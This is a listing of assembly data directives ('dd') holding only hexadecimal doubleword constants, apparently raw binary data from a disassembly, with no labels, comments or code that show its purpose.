dd 7B323A57h, 0F71F503Ah, 0F8B1CA00h, 0E7E433BDh, 78C1BFBFh
dd 0FD8A0113h, 5DAA282Bh, 6115E487h, 9D2145BAh, 2D15A66Fh
dd 3D12739Dh, 0FEA3CF02h, 805649EBh, 5DE6926h, 0A6826611h
dd 7DCE8184h, 793D2B0Ah, 0C69A06Ah, 0B06EE980h, 0B67FE3FCh
dd 0B8D2E076h, 0D262B5CDh, 1883757h, 35950134h, 0B5E26A0Eh
dd 0DA6AEFD2h, 532A430Bh, 501CA9DCh, 0C4B7CDADh, 0DA3D8232h
dd 106DCBC0h, 7B3DFD9Dh, 0CB4D0D80h, 25BDE963h, 9F56F87Ah
dd 91EA50F4h, 0F87D5BC4h, 0CAB53B33h, 2B368BDDh, 0BB6F42B0h
dd 0DDB6A309h, 836E595Dh, 0CCBF0402h, 1B6D09C8h, 852AF01h
dd 0BCFB43A9h, 5B8B0B6Bh, 9EF8ECA9h, 3ACF71Ah, 14A12C88h
dd 1ABA25DFh, 4F416ACFh, 652B86F0h, 5D308C7Eh, 1999E400h
dd 0E2AA83CAh, 8827001Dh, 0A11354B7h, 617C7D49h, 71DD5B4Ah
dd 8E1DDA3Eh, 0F9482B1Dh, 18C6007Bh, 6F437DA3h, 4EB6D200h
dd 99884912h, 0FF440285h, 97C780D1h, 0F5F8107Dh, 0CDFD000Bh
dd 16CA4AECh, 0E600CFB4h, 22A8A756h, 950A9FADh, 7F708F94h
dd 4F4C79Eh, 979ED2C7h, 6A71F0F5h, 0D8EA024Eh, 2E416D1Fh
dd 0B5DE0434h, 8E252F52h, 0E0D3540Dh, 9C9D1E36h, 0F52A350Bh
dd 0A6047782h, 0D275AD12h, 0F1B8F8A9h, 3E936D00h, 3228C903h
dd 0C439B8A7h, 0AEC5E924h, 41CE6438h, 0B8923D7Dh, 3A610F2Dh
dd 12E3CE63h, 95893137h, 3A386155h, 6DC0F7DBh, 7CCE4B39h
dd 0DBCC884Ah, 0C3FE508Ah, 0E49058DFh, 0E69B80C0h, 3B02D7AAh
dd 6B7FA85Ah, 25C1DC10h, 0F30565F6h, 449B9061h, 4241CDCBh
dd 20122A91h, 3B8D6DABh, 0C501B76Eh, 9D8E2C7h, 710720FDh
dd 94450B5Bh, 0F7B432D5h, 421825E3h, 5104EF66h, 0E61B529h
dd 0B62965AEh, 0F9A7A079h, 0DF3E0437h, 0EDB509CAh, 172758F2h
dd 5C7B0859h, 8FA860Eh, 107F1BC9h, 0A3290Dh, 0AF7C439Ch
dd 5EB6E2EDh, 0E0B7B400h
dd 0F9DC31B9h, 31605C5Bh, 23DDE930h, 0B0B6BD85h, 0E4D65625h
dd 4ABD545Fh, 0F2935D1h, 2B80D509h, 12F8E320h, 0B85B4A1Dh
dd 372578D2h, 3A39C95Fh, 9D2B4B85h, 0AC02D465h, 9884E3Ch
dd 0A0380081h, 0F68D9E48h, 2501083Eh, 513DA8E8h, 0CB281C6Ch
dd 26034DC0h, 780436F5h, 1A2A5896h, 0B5C25DB8h, 650E0169h
dd 0EB56E59Dh, 9AB0716h, 0C455181Ch, 4B814BD6h, 1D295223h
dd 21CF9055h, 0F6F842Ah, 60D164E6h, 6800A8B2h, 0AA2B65Eh
dd 0D268088h, 0DF855787h, 0DCE2615Bh, 0D781F800h, 11196D40h
dd 0D522B6B8h, 0F5EB041Fh, 0B8696379h, 9D230538h, 0A1891345h
dd 409DD6C2h, 0A502D5FEh, 55478C00h, 7E2FAE50h, 758FA6FFh
dd 0A1C7004Bh, 89F46FB5h, 5B4BC8C3h, 0B8305694h, 0B09ACE7h
dd 0B531461Ch, 0E98DA356h, 0A33B2363h, 0C0BE4C14h, 0C57BD01Fh
dd 0C9E03B27h, 0C2E6B99Fh, 195C1253h, 5F125BDCh, 3C226FE2h
dd 3251F6A0h, 2DA5D5CAh, 80093D24h, 80B5D31Ch, 0DBA38E90h
dd 25000583h, 75C2BE03h, 700BC1D9h, 0F8B526C9h, 6EAA09C2h
dd 2195A685h, 2ED88BA8h, 0F30C8361h, 54A8EB04h, 0D60AE8E5h
dd 5CDE1222h, 82316466h, 0B902337Eh, 0B33BC81Bh, 0FCEACCC9h
dd 9D7FF32h, 17203AB0h, 1CC02B34h, 99CB7AD6h, 0C9BA891Ch
dd 0EC117185h, 0C1957C42h, 6F8D732h, 880D2DF5h, 7065374Fh
dd 845052BBh, 0A4C3A8ABh, 0A0CF459Bh, 0A571E8C3h, 6AD8B616h
dd 0AF0CD108h, 0C2BF4E66h, 0FD14D5CCh, 7004739Dh, 6C0364FCh
dd 6D3BA0C1h, 5C7E1205h, 0ECFDB262h, 0E7008C1Dh, 0CC942126h
dd 9D18C2Fh, 8D0FA95Fh, 0BF7943E4h, 0C06B614Ch, 3CA2E8DFh
dd 77CA0035h, 34841F3Eh, 870BA39Ah, 0B7C2D7DBh, 7FD785FAh
dd 0FFE45680h, 71159609h, 3698C63Eh, 7966DBB5h, 55202E42h
dd 49853152h, 5B25DC01h, 7FE97C5Ch, 0CD00D835h, 0B5F1D6FBh
dd 95F748BFh, 0B812C512h, 0AC73D56Bh, 0AFFF0575h, 0B860DA76h
dd 2FDB8F28h, 0EF37207Eh, 0EEE6D7h, 8621A87Ch, 0E952BE66h
dd 5B225A4Ch, 2CAB6CD5h, 0F4AA976Fh, 194BF978h, 9F34B88Eh
dd 21AA8227h, 5679B85Ch, 0EF027A7h, 0AD602D40h, 510E5D2h
dd 0A40E719Dh, 24AA597h, 0B312D8E2h, 2DDBE15Fh, 2FCB85Eh
dd 8D896DD7h, 13D72BC9h, 0C75E094Ch, 95723AB3h, 6F015D2Dh
dd 1E5740F7h, 0E5256F4Ch, 59B8537Fh, 1C59181Ch, 96FF0E32h
dd 0EC12EBA2h, 0C24B96B3h, 357E9036h, 8D086016h, 2E8BA402h
dd 0E1174083h, 7200A28Eh, 85B2F8B0h, 496175EFh, 41BC5090h
dd 22F0EB02h, 54CF8065h, 0CF4D2705h, 0F5F839C1h, 0ECDD257Bh
dd 0AC9EA0DDh, 0AE5802CAh, 57DAE867h, 2155E382h, 415F5B02h
dd 0B4507966h, 25010268h, 925F8F28h, 1F7054A2h, 70F789FDh
dd 0BD8057B7h, 0B7607B39h, 0E8F84EF0h, 2CFD121Ch, 0CF585AB7h
dd 0F7302D12h, 23EC4E03h, 31DC9402h, 0AB4A358Dh, 1FCB440h
dd 2F9B6FE1h, 76EDBBC0h, 0F30BBF88h, 5C69F629h, 0F08ED6A5h
dd 0E989AA02h, 410373ABh, 0E22A2BCBh, 5CF6D3A6h, 32B8A1A0h
dd 0A6F1175Fh, 0B910162Eh, 1D9DBC7Eh, 0CBD5A5E5h, 0D65CFC84h
dd 47E4EE8h, 0DE6FBFDDh, 0C0EBA801h, 0CC039320h, 9ADB00ECh
dd 0E3167360h, 7B0B14B8h, 5CD98B09h, 305588E2h, 0D4647672h
dd 0F4D1F300h, 9F10DD5Bh, 466527B7h, 95C1B7DCh, 0B8040911h
dd 0C0D64C67h, 49F9312Ch, 0B78100A5h, 0AFCF73A7h, 89092D06h
dd 0DCDF13CAh, 5E0C10C4h, 122EF1B1h, 0B854B94Eh, 938600EFh
dd 97A0CDE9h, 0C625BB66h, 9455E61Ch, 3C16401Fh, 83002FA9h
dd 0C7681139h, 9840BDEEh, 188F425Dh, 14486DB2h, 80614EE2h
dd 0A2ED38E5h, 9D334004h, 4DBD1FDDh, 13C557CAh, 0DAEC925Fh
dd 132C455h, 0FB057148h, 0F8F83FEEh, 409B387h, 57C867CEh
dd 3B6125B1h, 7D53321h, 7A472D2Fh, 0B202366Ah, 29B589B0h
dd 82FDFC77h, 659509DEh, 2F616269h, 0F25FAD6Eh, 71E2D2F0h
dd 0B826B3C4h, 4F77A368h, 82509B1Fh, 59D6CFA4h, 0ECF90FA9h
dd 70F32C00h, 0C907E688h, 32D2B3D5h, 35E294D4h, 0F51B230Eh
dd 2EDA90E0h, 8790D2A2h, 0BE18D17h, 2FFF29AAh, 0C58045DAh
dd 2162AFABh, 45B2B800h, 0BD299B06h, 2E1441A9h, 0BBE5AD3Ah
dd 29BB388h, 6DE0AB88h, 90F5E44Ch, 0F0D2A6h, 6EB4E723h
dd 0A50BDDECh, 0FD4EFB14h, 466E4AA9h, 0D579077Dh, 942EA8A3h
dd 0D484CC48h, 1EC2B100h, 0D5874DF1h, 9290721h, 0A4E5E19Ch
dd 0A2A9BC6Ah, 6C3D5745h, 97343F80h, 174F4ECh, 60F071ADh
dd 2835BD03h, 838A5C6Dh, 0C0A9AFD8h, 3CF5B9DCh, 88EFBDFh
dd 8649240Fh, 8196EE32h, 0D303F32Fh, 564DD094h, 6058BC0Fh
dd 0FFB6B201h, 9CF2BF09h, 5184FA79h, 58A8870Fh, 8204EFC1h
dd 80342F5Fh, 0B96016FFh, 0DAEDD252h, 0AF9813A8h, 29BBAF00h
dd 2B3F882Dh, 9F0EFCBDh, 0C8B8ACA0h, 0FE9A2EBAh, 3A78C19Bh
dd 70760305h, 9D31AA15h, 6A52A1A5h, 19C8EE9Ah, 0D87FDFC0h
dd 4A5D2DFCh, 3C330A10h, 0D3465400h, 0E717AC41h, 20D698B8h
dd 801313EDh, 3AA3B1CBh, 5218C540h, 0B75AB298h, 0E766A07Dh
dd 0E4092CC1h, 54EE252Fh, 145E359Fh, 0DB2CF62Fh, 25ED1CC7h
dd 1BA79E73h, 35C61269h, 76FFF1C1h, 0E630E0B4h, 0B5909DE1h
dd 0CD0027C8h, 8AFFAA1Eh, 50EC7C92h, 4E50836Bh, 82889B20h
dd 0E67C52FBh, 8FBF0541h, 0EB548BEDh, 4E1DC5DCh, 130E9D05h
dd 0A1D22988h, 0F8771457h, 85694BB5h, 0A1F2F721h, 940E88Fh
dd 0AC6E74h, 67E5E77Ah, 0AE33FF69h, 56C4881Eh, 0D37FA043h
dd 5F57B1E8h, 28B60C4h, 0DBB966D7h, 0F84E61CAh, 5A2E817Eh
dd 0D00B5C93h, 0FCD6E626h, 0F28805F3h, 0BE961BB8h, 8A03CC9h
dd 585A3606h, 75254008h, 13DFF253h, 0A9BD3396h, 0ACB64ABBh
dd 6E3016B2h, 0B26F50F0h, 0B6284EF5h, 137F0245h, 5E85F622h
dd 5D056BE5h, 0B880D405h, 8468A3BFh, 2C7AABh, 421A72FCh
dd 430FBBEBh, 0D29D2D84h, 7F96481Ch, 12B74917h, 971CECEEh
dd 20C340FAh, 5B895C62h, 4DB0901Dh, 8F96610Ah, 51BD05DEh
dd 28FA8BECh, 2725CFEFh, 0C4D4E68Ch, 2CB5A4h, 3A7BE381h
dd 0E63D4A83h, 301BB2DBh, 4507390Fh, 82862C5Bh, 1A04429h
dd 0D5C1FB56h, 2FDF687Bh, 0F88ADD31h, 73B2282Fh, 67DE3BE1h
dd 0FB4DBD80h, 5B2E2256h, 0CA6006F3h, 0E2450B3Dh, 0D5CB00DFh
dd 0A55154CDh, 63287899h, 0B1298D04h, 61099322h, 5A785C2Fh
dd 13D45656h, 0D296570h, 2E49A199h, 0F380EB02h, 0E81ED77Fh
dd 4A2C5522h, 2E46E17Bh, 0FA96B19Bh, 0DE3DF730h, 0B9F94A87h
dd 0A36A97A3h, 155B2C09h, 0BFDA98FFh, 0E7B123Dh, 7D8F360h
dd 50ADB390h, 0C0156D49h, 0C1F36F2h, 2A949700h, 0B38EABBEh
dd 11B72F4Dh, 0BFAC1693h, 5C22F9Bh, 98D59B2Eh, 458D8976h
dd 0C6CA8581h, 8DE0B8Eh, 45BBF980h, 3F62ABB5h, 6410695Ah
dd 0DD214B4Fh, 0D6A6AD3h, 0E319C16h, 0E812794Ch, 0F0908A05h
dd 8A78BCA0h, 4A369097h, 0E2FE21h, 62F7A73Bh, 0D2F32659h
dd 84797270h, 8A881935h, 577F64A1h, 0C67A9B95h, 28AB8B5h
dd 49ABBBE5h, 0B776C5Fh, 56B989ECh, 0D6F6EA5Ch, 788C764Fh
dd 56B2A251h, 815F806Ah, 0C12487DFh, 7AFB7D7Ch, 0E9F49BF3h
dd 85829E6Ch, 0E0BF6E41h, 0BD64ED6Bh, 81CE1005h, 7C09AFh
dd 259D03D1h, 6B710CA9h, 0DEAFA5C4h, 0E8CAC267h, 0DE1C2006h
dd 0D809E0D0h, 7A525B77h, 0F5909D0Dh, 480045D4h, 775FBF0Dh
dd 90E8BDh, 0FF20C723h
dd 0D17FAE60h, 0D6C56827h, 330217C2h, 0FB88EC32h, 0AF007D97h
dd 80E25FC4h, 7BDCBE7h, 6CFD3894h, 0B82AE4C8h, 7348807Fh
dd 9829FEh, 8B9F74DEh, 0A42CA1ACh, 10033714h, 141110FCh
dd 28DD5B38h, 367EC85Bh, 6B1C0C05h, 29C585FFh, 21AA6017h
dd 6AFE8A6Ah, 0A4854B73h, 0ABDAE904h, 0D010658Eh, 33204F8Eh
dd 0DB51B2h, 0CC40E09h, 9F2E818Ah, 0F10A851Dh, 0B7F64B89h
dd 86078588h, 0F1B6C17Bh, 29B23F29h, 0DD8A6109h, 62A5F779h
dd 9A1A7D4Fh, 12D4387Eh, 0FF01AC6Bh, 0FA50CE19h, 4ACE8A2Bh
dd 7DB138A6h, 0AAD44562h, 4578449h, 0B34F0259h, 5B5E5BEBh
dd 1A46DCh, 0D83EC648h, 95A0A8F5h, 98BBE230h, 88CE84Eh
dd 7D9D2789h, 9BEC00EBh, 827BCB9Dh, 7F135171h, 9B4047CFh
dd 50469CB8h, 4A05936Bh, 8811F209h, 9027AC5Dh, 41B02528h
dd 11857D36h, 0BE6070E6h, 0FD2B7732h, 0B903E1C4h, 249520BBh
dd 0B20CA861h, 0B8464A18h, 198508E8h, 7125C60Fh, 0DDAC0CD6h
dd 0FABCFAA4h, 54741D80h, 0B10E2DBEh, 41168B59h, 81C1BF66h
dd 5144D72Bh, 0ECC0BECFh, 0C40B2280h, 5106BA44h, 0BEAA8956h
dd 55038957h, 0AEBB2C48h, 32E65412h, 0D901EBF1h, 0B8040C25h
dd 0BD0104E7h, 292118D5h, 1892229Dh, 0D75CD18Bh, 9F94CB1h
dd 91BA4D4h, 1B1252Bh, 0BC92B02h, 5F7C06AFh, 0B694FD6Bh
dd 0D273DC00h, 0A5D4CFF2h, 3193276Eh, 20B3F61h, 92CB5E5Fh
dd 0CC5ABC16h, 988D513h, 0E90BC5B0h, 20014849h, 0DBB5204Bh
dd 60B0A6BBh, 0CCC16018h, 0BA78CA16h, 0B8E481BCh, 0A74788CFh
dd 88001FC4h, 48052C30h, 36B584Dh, 152925ABh, 0F4287759h
dd 0FE4A3AA5h, 0ADD3B020h, 0F6D60B66h, 88881D1h, 78EC2F96h
dd 20AA914Ah, 0E0E2FFBDh, 19093A77h, 7B164777h, 0FD2408DAh
dd 66989820h, 91769F9Fh, 0F1508016h, 4C0F53EFh, 51822780h
dd 0EE755F5Bh, 5881B3BCh, 85AC89A0h, 120D6D00h, 0B9DB7146h
dd 0BA1BD731h, 0EEB30631h, 9B1C133Ah, 622A8FA9h, 0DE0A4E3Eh
dd 1320108Eh, 81AD8509h, 14B7FC25h, 46CB9A04h, 0AF1EB505h
dd 0D5008565h, 0D22B8896h, 4189980Bh, 623D2F11h, 40A2272Ah
dd 15811334h, 0C49E4102h, 0F14E929Ch, 0C0DC1F81h, 214C18C9h
dd 4401F902h, 8A748BC7h, 8E884379h, 5B160B19h, 86F13752h
dd 24C7A6Bh, 0A28AAFA3h, 0EB807496h, 1C50165Bh, 75B51309h
dd 3B6CA706h, 28A91689h, 9BC4FBCh, 0C2019D26h, 7980B789h
dd 0FAA345E7h, 0D43AC07Bh, 1C8EFE26h, 8102202Dh, 586751C7h
dd 57F5924Eh, 0D6E013EDh, 306AC1h, 34D9CE5Eh, 4B5999BBh
dd 0DE8B4713h, 0C85F17A3h, 6000CCFAh, 0F732D8B5h, 1D81FF87h
dd 53DC1D49h, 0E2D2A6E1h, 0D782800Fh, 8E57E5h, 52DB19B8h
dd 2A5C84BBh, 45F373Bh, 74D8B959h, 0FFA3F2BCh, 46BD6E5Eh
dd 0E2009CBCh, 177FC4CFh, 48EDB40h, 4C9AEEBBh, 0A315E862h
dd 0AD6C5AE4h, 2320BD9Fh, 0BFED4B2Fh, 959D3630h, 3A1C9D28h
dd 0F8637662h, 0E4754D60h, 1E32D2EAh, 0CF95020Bh, 5CE45561h
dd 0A7222D21h, 71C20A4Dh, 19687565h, 0BD4C3331h, 33F592FFh
dd 263AE57Fh, 2F82F1D7h, 5BE96530h, 371F88D5h, 7CAC9801h
dd 0A1BC35E6h, 82452A2Eh, 0E0CD60B4h, 7B76C928h, 0FC955E4Ch
dd 47F5D2E6h, 0BCDABD2Ah, 0DF530403h, 82B3F489h, 678E877Ch
dd 8D568ECBh, 9549F869h, 0BBB682FAh, 38CF60DCh, 8C99A1BBh
dd 1F680100h, 60544DBEh, 6EC7B651h, 0B9C88A44h, 0BDE01F40h
dd 78B85496h, 3B854680h, 0B0044D10h, 0CEBA1C6Dh, 0FC0111E8h
dd 0E9B2D496h, 1F342E2Eh, 0BC2BAAB0h, 699F89E9h, 92ECB0D7h
dd 4A828201h, 0E45E9E1Ah, 95BE7069h, 6C86D93Dh, 4F861ADBh
dd 7AC0F251h, 60024FB5h, 0AD7D5D01h, 0B6DFE031h, 322F134Fh
dd 0B7FD89C5h, 137384BDh, 0EBC2FABBh, 2F65454Fh, 760289B5h
dd 0F7897B94h, 8310DF31h, 0F99F7225h, 894BA07Fh, 0F5ED0068h
dd 0B3C5FFABh, 849798C2h, 88AF2BB3h, 5063963Bh, 0B45569F2h
dd 2BE2A6B6h, 0B6002846h, 7F73D7D2h, 0F060770Ch, 0ED5104CCh
dd 0BE9E16A4h, 0ACB8DE94h, 151E8CEh, 0C93FB78h, 0E27374ABh
dd 0EA9C7C07h, 0BBE0901Ch, 3409685Fh, 2102A27Ah, 0BD79CB6Ah
dd 0E0DD6DDEh, 0BD22589Eh, 0C740939Eh, 5ACAC64Ch, 0E4BDBD3Ah
dd 80C0DCB8h, 0BB90F5C3h, 0C8F36F1Fh, 81C050DDh, 971636F7h
dd 0E04CB771h, 1E1D9D10h, 0EC536116h, 795F2DDBh, 3D9DC10Ch
dd 18BB0026h, 0F25A5A3Ah, 764EC911h, 6695F67Fh, 43E925FBh
dd 2DD8405Bh, 0A54D04EFh, 0FA750B8Dh, 3A2E55CDh, 1284E75Ah
dd 0D987C140h, 0DD1FAB43h, 0A94147A0h, 5B793252h, 5E8355E0h
dd 3F2DFh, 37490B41h, 2F2588Eh, 3F090A4Dh, 2B5EDAADh, 0B5045250h
dd 87407E4Fh, 1E61893h, 0ABC76DBBh, 22F88B5Ah, 671FCD0Ah
dd 0E87CDAFDh, 8280B952h, 0C1EA3B47h, 72A9364Ch, 975B1040h
dd 37D7FA1Ah, 5160020h, 6F3F3B1Ah, 79F35E25h, 8D0982FCh
dd 0BA570375h, 6445409Ch, 298CCDF6h, 75E62A21h, 853015B2h
dd 0BD23098Ch, 0D1D63065h, 8B80DE80h, 9F515022h, 292F6980h
dd 0C40DDFB8h, 56611C9Bh, 2C263021h, 6C1C7FF0h, 0F0A8395Bh
dd 50481A20h, 5AD1287h, 3AB829AAh, 1BE9F420h, 731FAABh
dd 0D1275C80h, 0DA3880A0h, 54B80146h, 4BD22553h, 2D5A1196h
dd 937329C1h, 0F3181579h, 0C204194Fh, 13BDC794h, 0A11EB6D3h
dd 0CD6E6CF1h, 81A13FFCh, 1244AFA7h, 5C85CE25h, 1A5D496Dh
dd 40BC749Bh, 97144478h, 4640CC02h, 5D5B8537h, 8408115h
dd 6FE882h, 0C86DE461h, 71381BFh, 90B96A4Bh, 6721FE97h
dd 0B63EC283h, 1C00F532h, 985D6A0Ch, 60E512B2h, 37D4BA33h
dd 61C007C1h, 0EF00AA63h, 293C96B4h, 0E400EE1Eh, 3A5C45F0h
dd 9994CD0h, 0BC4AF6F1h, 3EC97978h, 1A487BFAh, 0BC024980h
dd 0D7FEB886h, 8D7414E0h, 1253FEE4h, 0AB6A1A3Dh, 30F4E6Fh
dd 96C32274h, 8C126047h, 0A715B6C7h, 92F75A76h, 0D40C2BB1h
dd 952760ECh, 25B4F86Bh, 8FFCBD63h, 0A1446D6h, 878C0F4Bh
dd 82C88549h, 555F9922h, 9097ACE4h, 759E1h, 16F884B3h
dd 4676F38Ah, 0D89B965Ah, 0A230DE80h, 6AB712F4h, 5F950933h
dd 0D1A524BDh, 82CAA500h, 2597BD55h, 0C4256A7Ch, 0F0A80059h
dd 0F551C459h, 0D72D1F07h, 0D6599056h, 0F4E313B2h, 642CFF9Dh
dd 0BE94975Fh, 250B3444h, 32595D9Dh, 37ADF893h, 2A25A4ECh
dd 23F562Eh, 139D8589h, 0E9EA3F74h, 1010E109h, 0ED2C89EFh
dd 81DC986Bh, 0B93ECF3Dh, 79BCCE8Fh, 6FC501AAh, 0DDB39FC4h
dd 807D302Fh, 949717F7h, 8A2B447Eh, 3DDDF94Bh, 66A1D576h
dd 12CD2DC6h, 36F29684h, 279760CAh, 449054F2h, 20BC494Ah
dd 87DADB4Ah, 0DE102DA2h, 1A943F7h, 0BB106324h, 60B9FCFAh
dd 3309C189h, 5E12B19Dh, 1A46DEEFh, 6517E65Bh, 8C88B5CCh
dd 69756BBDh, 3B181855h, 0F0E100A1h, 0D87ACF98h, 0FA4B8BF1h
dd 0BB0176ADh, 232F4480h, 0D0DB2E6Ah, 0B266FC0h, 225E95BDh
dd 0A70B9E7Eh, 6DF805D6h, 9EC09680h, 0D1677BB5h, 2FC7D155h
dd 0A1A23913h, 0DE750902h, 4C56324Fh, 709B5BA5h, 0FE00E006h
dd 0D9FB8E78h, 0BD6A215Fh, 0DDE0474Dh, 0BA853FEh, 0F1C2A27Eh
dd 0AAE12184h, 0B0E7BAF7h, 2FFFF5D9h, 0FC53B92Fh, 0AF2212ADh
dd 25032628h, 406271BDh, 9112B557h, 9E6E811Ch, 8FC43CDBh
dd 5C7B0FD9h, 11CB8D29h, 0B7A78A5Ch, 54C000D7h, 2B31AEFAh
dd 0EDC2D54Eh
dd 713C5E10h, 0AD020863h, 0BF29E0C9h, 0BA096FDBh, 0F62D585Fh
dd 20DF09D6h, 0CABD82D7h, 2DEB5C3Ah, 309F3191h, 0D800D648h
dd 309E551Dh, 5189BE2h, 0B160310Fh, 6C8CBB9Ah, 585A0161h
dd 5BD2B90h, 1F9C2E2Dh, 477D02BBh, 4DE94CF9h, 48961CD7h
dd 0F64E90CAh, 882F034h, 4AE227F9h, 0F5C01090h, 102FA000h
dd 0E8D85BD1h, 4AC23EE5h, 582AA603h, 7182A50Eh, 8B65F35Ch
dd 608EA7FCh, 29950B3Eh, 372C1CDEh, 901461C7h, 0ACBC20ABh
dd 251EA273h, 30C05DBAh, 4B6D794Ch, 0E26E03F2h, 0BBCB43B9h
dd 48D81CB8h, 43A45F5Fh, 95310C90h, 0B730D7Dh, 1A4D8D12h
dd 6FC17FD0h, 616C2D53h, 1571E373h, 8B4B1B18h, 0DD6A04D9h
dd 0B01E26CFh, 3F361B0Eh, 90094816h, 32DF31AFh, 0DF96C0A2h
dd 51FF2C6Ah, 10212659h, 10934C1Fh, 61120AD9h, 0B56EE5Fh
dd 9B6557FBh, 48838027h, 9A0C9EBh, 1FEFCFB3h, 0E06A5A5Ch
dd 7907AD09h, 45454400h, 1707800Fh, 0B2D1E381h, 22F476Dh
dd 20599D06h, 5A4E7913h, 0C9B3BC10h, 44F172D8h, 2B2F561Ch
dd 4BDBDA9Dh, 0C2DA845Bh, 0D35CD90Dh, 4895949h, 0BE2FF589h
dd 0E84AFD9Fh, 0AB911A9h, 0CBC1A040h, 9A574914h, 0B59F66ABh
dd 789816D3h, 0D605552Eh, 4621EF99h, 0C81303ADh, 49FF104Bh
dd 1298D152h, 0EA00463Dh, 0C3DEA1AEh, 2D2A0EF7h, 7390B970h
dd 0A290DF8Bh, 0FF1332A3h, 7F939523h, 51A1261h, 0D8A7D214h
dd 1570A1A9h, 0F400E5A6h, 4E20F059h, 239854h, 0E9D5DFCFh
dd 614CD86Fh, 57D0EB09h, 442E7AD3h, 0DE0B0B05h, 0FB74385h
dd 0EB236D43h, 1020482Eh, 5705D562h, 0BF81F3F9h, 56AAA6CEh
dd 40CCF37Ah, 1A5A3188h, 262247F6h, 1F157BB7h, 2B22D9BDh
dd 0FE2140A5h, 8928DA8Ah, 2AC47E95h, 0CAAB0919h, 128C0B56h
dd 0DEEAFC0Bh, 5C9E2025h, 85294180h, 0FF4EA41h, 28EB8D96h
dd 6900A415h, 0FC473DEEh, 3B048A2h, 0E3CFD71Eh, 2FC8CD83h
dd 0BBD8702h, 399402F8h, 12F1572Ch, 0B9C09840h, 92094E02h
dd 0B0A93909h, 76698074h, 23A20924h, 6696EC70h, 590A13DCh
dd 9F6B0A3Eh, 5DD225E5h, 96EFC5Ah, 49807B1Dh, 0C1C2F877h
dd 46724F75h, 0CB7EE28Ch, 0D22BA912h, 3CBFC8h, 0F0C6E29Dh
dd 95796477h, 0A582D1B5h, 0C2AD0EC7h, 0E23ACD59h, 0AF60DB6Fh
dd 6948DADDh, 19CD103Fh, 210B894Bh, 6A1BF570h, 0E6D29DF2h
dd 38DFA017h, 0ECFD4E9Eh, 29E91221h, 18BC61E9h, 22E9048Ch
dd 0BC6F7A64h, 3140AD0Fh, 4EF6ED66h, 0CB2B061h, 11FAE795h
dd 74204F41h, 2F7535Bh, 0B9ADEC1Eh, 0BE59B85Fh, 8799D84h
dd 4AD4B352h, 0E1FF1B81h, 954C887Ah, 8A0BAC00h, 0A0DB22D6h
dd 0C1810060h, 64C31185h, 0B95F8D01h, 5C5FCED2h, 3CE50B1h
dd 0D024D395h, 17042B6Bh, 1DB3B79Ch, 0BAA1AAB8h, 89E2B03h
dd 4E5ABD93h, 5E9F0FB0h, 0C0CD2754h, 0A6F45635h, 1B36D600h
dd 40A815DEh, 0F3F00482h, 0B81DD274h, 243CA2BAh, 0B8C8E960h
dd 70C5276Ah, 0FEE91257h, 0FA8A62F8h, 2D160AF6h, 0F889CEBCh
dd 801EBD57h, 40A3EDD6h, 7E25B477h, 9BBC816h, 2E4F9501h
dd 388A2D40h, 947A02E3h, 16C6F00Fh, 18F8045Dh, 95B53102h
dd 276DE5D5h, 3600EFE4h, 0C0EB71F6h, 98772531h, 261F0228h
dd 35171AE9h, 0E5555068h, 0AE8C5B4Bh, 0E39053F5h, 0E496CC00h
dd 58AF858h, 36FC3AFFh, 0C3BF50A0h, 649E3F09h, 83BDB790h
dd 9C5ECE1Dh, 0DB813E00h, 3214A52Eh, 3FAD1D68h, 9AC225BEh
dd 310F9EE0h, 0EB806FB9h, 79C97265h, 28BF12C0h, 7F52ABD8h
dd 19523FA0h, 3C68A13Ch, 0F3352ADFh, 0CED502FEh, 0C6575792h
dd 8D8913B6h, 0ACAFD4F5h, 0E7BFC09Dh, 160270A1h, 710142E9h
dd 0C8EF33A2h, 6E00069Eh, 0C45B1DAEh, 2ED597Bh, 65903A1Ch
dd 0B65CA009h, 0B62ACE6Dh, 359D12E7h, 0B5FF45AEh, 0ECC2EDDBh
dd 26AF3F6Fh, 0F5D8C702h, 995C3A15h, 72A58868h, 1101212Ah
dd 97465849h, 1C04F4Dh, 4FD6D1E5h, 35CEBCFFh, 0D6A0611Dh
dd 6FD1B7FEh, 0BD6D8380h, 314C73D6h, 5B9BA332h, 0B8E63D96h
dd 12705E37h, 2763B309h, 408A7E89h, 0CB0EDF68h, 0DBB0825Bh
dd 32756209h, 5D61D1h, 53F520E1h, 0CA8EA37Dh, 6B1FF2Dh
dd 0CDB0E317h, 4F009AD8h, 0B893273Eh, 12F0C024h, 0E32E08A1h
dd 90F8123Eh, 0BFC0CAA8h, 62F517CDh, 0FB89504Fh, 3FF2DCh
dd 38A766DCh, 3B931896h, 9C31902Ch, 4DFF7925h, 82A82E9Ah
dd 0A7F66125h, 7758BFDCh, 32D78B07h, 5E2B8DCCh, 1A46F65Ch
dd 0CB144800h, 0A41F1EE8h, 4F7E9495h, 0C5CE9E46h, 9C2A259h
dd 0EF3D7F3Eh, 0F1D7118Bh, 8067A523h, 0A40D445Eh, 88844309h
dd 40100ECAh, 0E40C3E92h, 7ABB096Eh, 6DF1564Ah, 29598542h
dd 0D7057F0Bh, 47CF2C56h, 0B7BB25C0h, 9D130487h, 67888773h
dd 94FBCB89h, 9EF59A70h, 85A027B7h, 442CBA66h, 5A56ECB5h
dd 0AD83B9F8h, 9C00D637h, 97F28A5Fh, 0A66405EAh, 0A5BAB578h
dd 61823B98h, 0D1960420h, 0D041F70Dh, 0EF1E3EBEh, 5795061h
dd 9665A71Ah, 8DE598BAh, 0B802792Fh, 3EBD2B60h, 0AC4A32F9h
dd 0E6DAA5BEh, 7563F780h, 0B9024CF0h, 71952905h, 6E94D732h
dd 0D85BD1Fh, 33747B2Dh, 0AAB4A9A4h, 0DA5B9FCBh, 0FC34833Fh
dd 0B0F7F319h, 0B70E7C46h, 5E5ABA5Bh, 6E9C04Dh, 0BB04C537h
dd 38B7ED81h, 844AE3ACh, 0E409FE9Dh, 0EBE85608h, 0E5C64082h
dd 12C49F56h, 19458740h, 1300ADEEh, 2717EC28h, 4B42962h
dd 0B952A6F8h, 5823AED3h, 0D084CBF3h, 17E6578Dh, 0BCFA4E6Eh
dd 0CAB15AFFh, 0C1E1DB3Eh, 303BE573h, 1920B43Ch, 46536054h
dd 75007A7Bh, 2E7BA36Eh, 4F83371h, 0A00FC4DFh, 53BAC779h
dd 3107058Eh, 0A67D5BBh, 27DE5B19h, 0C1D19075h, 0F1B30262h
dd 0D53648C8h, 0F9E2C9F6h, 0A396040Dh, 0AAB33E94h, 0B0B4D50h
dd 55FE03E5h, 0BD965F00h, 3E07C9B1h, 0D75FDF79h, 4AF4D95h
